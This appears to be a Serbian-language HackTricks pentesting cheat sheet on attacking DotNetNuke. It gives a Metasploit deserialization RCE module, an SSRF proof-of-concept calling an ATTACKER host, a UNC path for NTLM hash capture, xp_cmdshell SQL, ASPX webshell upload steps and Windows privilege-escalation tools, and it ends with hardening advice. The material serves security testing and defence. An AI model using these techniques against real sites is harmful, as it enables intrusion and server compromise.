# DotNetNuke (DNN) {{#include ../../banners/hacktricks-training.md}} ## DotNetNuke (DNN) Ako se prijavite kao **administrator** u DNN, lako je dobiti **RCE**, međutim, u poslednjih nekoliko godina objavljeno je nekoliko *neautentifikovanih* i *post-auth* tehnika. Ova cheat-sheet sakuplja najkorisnije primitivne tehnike za ofanzivni i defanzivni rad. --- ## Verzija i Okruženje * Proverite *X-DNN* HTTP odgovorni header – obično otkriva tačnu verziju platforme. * Čarobnjak za instalaciju otkriva verziju u `/Install/Install.aspx?mode=install` (pristup na veoma starim instalacijama). * `/API/PersonaBar/GetStatus` (9.x) vraća JSON blob koji sadrži `"dnnVersion"` za korisnike sa niskim privilegijama. * Tipični kolačići koje ćete videti na aktivnoj instanci: * `.DOTNETNUKE` – ASP.NET forms authentication ticket. * `DNNPersonalization` – sadrži XML/serijalizovane podatke o korisničkom profilu (stare verzije – vidi RCE ispod). --- ## Neautentifikovana Eksploatacija ### 1. Deserializacija Kolačića RCE (CVE-2017-9822 & follow-ups) *Zahvaćene verzije ≤ 9.3.0-RC* `DNNPersonalization` se deserializuje pri svakoj zahtev kada je ugrađeni 404 handler omogućen. Tako kreirani XML može dovesti do proizvoljnih gadget lanaca i izvršavanja koda. ``` msf> use exploit/windows/http/dnn_cookie_deserialization_rce msf> set RHOSTS msf> set LHOST msf> run ``` Modul automatski bira pravi put za zakrpljene, ali još uvek ranjive verzije (CVE-2018-15811/15812/18325/18326). Eksploatacija funkcioniše **bez autentifikacije** na 7.x–9.1.x i sa *verifikovanim* nalozima sa niskim privilegijama na 9.2.x+. ### 2. Server-Side Request Forgery (CVE-2025-32372) *Pogođene verzije < 9.13.8 – Zakrpa objavljena aprila 2025* Zaobilaženje starijeg `DnnImageHandler` rešenja omogućava napadaču da primora server da izda **arbitrarne GET zahteve** (polu-slepi SSRF). Praktični uticaji: * Interni port skeniranje / otkrivanje metapodataka u cloud implementacijama. * Dostupnost hostova koji su inače zaštićeni od Interneta. Dokaz koncepta (zameni `TARGET` & `ATTACKER`): ``` https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc ``` Zahtev se pokreće u pozadini; pratite svog slušatelja za povratne pozive. ### 3. Izloženost NTLM heša putem UNC preusmeravanja (CVE-2025-52488) *Zahvaćene verzije 6.0.0 – 9.x (< 10.0.1)* Specijalno oblikovan sadržaj može naterati DNN da pokuša da preuzme resurs koristeći **UNC put** kao što je `\\attacker\share\img.png`. Windows će rado izvršiti NTLM pregovaranje, otkrivajući heševe server-računa napadaču. Ažurirajte na **10.0.1** ili onemogućite odlazni SMB na vatrozidu. ### 4. Zaobilaženje IP filtera (CVE-2025-52487) Ako administratori oslanjaju na *Host/IP filtere* za zaštitu administrativnog portala, imajte na umu da se verzije pre **10.0.1** mogu zaobići manipulacijom `X-Forwarded-For` u scenariju obrnute proxy. --- ## Post-autentifikacija do RCE ### Putem SQL konzole Pod **`Settings → SQL`** ugrađeni prozor za upite omogućava izvršavanje protiv baze podataka sajta. Na Microsoft SQL Server-u možete omogućiti **`xp_cmdshell`** i pokrenuti komande: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; GO xp_cmdshell 'whoami'; ``` ### Putem ASPX webshell upload 1. Idite na **`Settings → Security → More → More Security Settings`**. 2. Dodajte `aspx` (ili `asp`) u **Allowable File Extensions** i **Save**. 3. Idite na **`/admin/file-management`** i otpremite `shell.aspx`. 4. Aktivirajte ga na **`/Portals/0/shell.aspx`**. --- ## Eskalacija privilegija na Windows-u Kada se postigne izvršenje koda kao **IIS AppPool\**, primenjuju se uobičajene tehnike eskalacije privilegija na Windows-u. Ako je sistem ranjiv, možete iskoristiti: * **PrintSpoofer** / **SpoolFool** za zloupotrebu *SeImpersonatePrivilege*. * **Juicy/Sharp Potatoes** za bekstvo iz *Service Accounts*. --- ## Preporuke za jačanje (Plavi tim) * **Ažurirajte** na najmanje **9.13.9** (popravlja SSRF zaobilaženje) ili po mogućstvu **10.0.1** (IP filter i NTLM problemi). * Uklonite preostale **`InstallWizard.aspx*`** datoteke nakon instalacije. * Onemogućite odlazni SMB (portovi 445/139) izlaz. * Sprovodite jake *Host Filters* na ivici proksija umesto unutar DNN. * Blokirajte pristup `/API/RemoteContentProxy` ako se ne koristi. ## Reference * Metasploit `dnn_cookie_deserialization_rce` modul dokumentacija – praktični detalji o neautentifikovanom RCE (GitHub). * GitHub Security Advisory GHSA-3f7v-qx94-666m – informacije o SSRF zaobilaženju i zakrpi za 2025. godinu. {{#include ../../banners/hacktricks-training.md}}